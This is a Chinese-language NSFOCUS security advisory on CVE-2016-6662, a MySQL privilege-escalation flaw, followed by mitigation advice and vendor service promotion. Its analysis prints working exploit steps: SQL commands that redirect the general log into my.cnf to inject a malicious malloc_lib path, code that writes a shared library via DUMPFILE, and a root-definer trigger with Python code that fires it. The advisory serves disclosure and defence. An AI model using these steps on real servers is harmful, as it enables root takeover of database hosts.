MySQL漏洞技术分析与防护方案

2016年9月12日,legalhackers.com网站发布了编号为CVE-2016-6662的0day漏洞公告。该漏洞可以允许攻击者远程向MySQL配置文件(my.cnf)注入恶意的环境配置,从而导致严重后果。该漏洞将影响以默认方式进行配置的所有版本的MySQL服务器,涵盖5.7、5.6和5.5,包括最新版本。此外,包括MariaDB和PerconaDB在内的MySQL分支也在影响范围内。

影响的版本

  • MySQL版本 <= 5.7.15
  • MySQL版本 <= 5.6.33
  • MySQL版本 <= 5.5.52

不受影响的版本

  • 无。

漏洞分析

攻击者在仅拥有SELECT/FILE的权限下,可以利用此漏洞实现ROOT提权 ,执行任意代码,进而完全控制MySQL数据库和服务器。

MySQL的默认安装包里面包含一个脚本mysqld_safe,它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的,而数据库守护进程mysqld是用较低权限的mysql用户启动的。以Debian系统为例,MySQL默认安装后mysqld_safe脚本的部分内容如下:

[...]

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"
 
  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done
 
[...]

我们可以通过使用–malloc-lib=LIB参数在服务加载时,预先加载一个库文件,这个参数同样可以通过配置文件my.cnf来设置,设置位置在“[mysqld]”或“[mysqld_safe]”部分。

此漏洞的本质是攻击者可以通过log函数利用不恰当的权限设置改写MySQL的配置文件my.cnf,将恶意的库文件路径插入到配置文件my.cnf中,从而加载该恶意库文件,当mysql服务重启时,就能以root权限执行任意代码。

向my.cnf文件写入恶意库文件的具体实现如下:

(1)执行下述MySQL命令。

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '>
    '> ; injected config entry
    '>
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '>
    '> [separator]
    '>
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

(2)命令执行后,可以看到my.cnf的文件末尾处,被附加了如下的内容:

# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:48:22        43 Query     select '

; injected config entry

[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so

[separator]

'
160728 17:48:23        43 Query     set global general_log = off

其中“[mysqld]”中的“malloc_lib”选项是关键!当my.cnf配置文件被mysqld_safe脚本加载处理时,mysqld_safe会读取malloc_lib的共享库路径,将其添加到LD_PRELOAD环境变量。mysqld守护进程启动时,此malloc_lib共享库可以优先加载执行,攻击者可以利用这个机会在共享库中执行任意代码,并hook一些函数调用,清理被篡改的配置文件,使得mysqld守护进程正常执行,不会崩溃,使得用户难以察觉。

该本地提权漏洞的完整利用过程如下:

1. 攻击者利用SQL注入或已有的低权限账号登录MySQL服务器,可以执行低权限的命令。

2. 通过文件上传或DUMPFILE命令将恶意malloc_lib共享库文件上传到目标服务器。

// 将二进制共享库文件内容转化为十六进制形式
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

// 通过DUMPFILE命令写入目前服务器
SELECT unhex("hookandrootlib_hex") INTO DUMPFILE '/var/lib/mysql/mysql_hookandroot_lib.so'

3. 通过设置触发器,提升用户权限,为写入my.cnf文件做准备。

ELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;  
   set global general_log = off;

END; //
DELIMITER ;

4. 触发触发器,使得恶意配置被写入my.cnf文件

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)
  1. 当MySQL重启时(包括系统更新),就会使得mysqld_safe读取my.cnf文件,进而加载执行恶意共享库文件,从而执行任意代码,由于mysqld_safe默认以root权限执行,所以加载执行的共享库也拥有root权限,可以用来提权。

防护方案

  • Oracle官方尚未发布补丁,作为暂时的缓解策略,应该将my.cnf文件的所属用户设置为root,属组设为root组,并且将my.cnf文件的权限设置为只读(包括root用户也须是只读)。
  • 将MySQL所有账号的密码改为包含数字、字母和特殊符号的强密码。
  • MySQL的两个分支MariaDB和PerconaDB已经发布了补丁,请升级到最新版本,下载地址分别如下:https://www.percona.com/downloads/
  • https://mariadb.org/download/
  • 使用绿盟科技防护类产品WAF/IPS/IDS/NF进行防护。
  • 使用绿盟科技的远程评估系统RSAS进行安全评估。
  • 已经购买了绿盟科技防护类产品服务的客户可以通过产品升级进行防护。
  • 短期服务:绿盟科技工程师现场处理。确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
  • 中期服务:提供 3-6个月的风险监控与巡检服务。根除风险,确保事件不复发。
  • 长期服务:基于行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务)。

 

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以
加入QQ群:486207500、570982169
直接询问:010-68438880-8669

Spread the word. Share this post!

Meet The Author

Leave Comment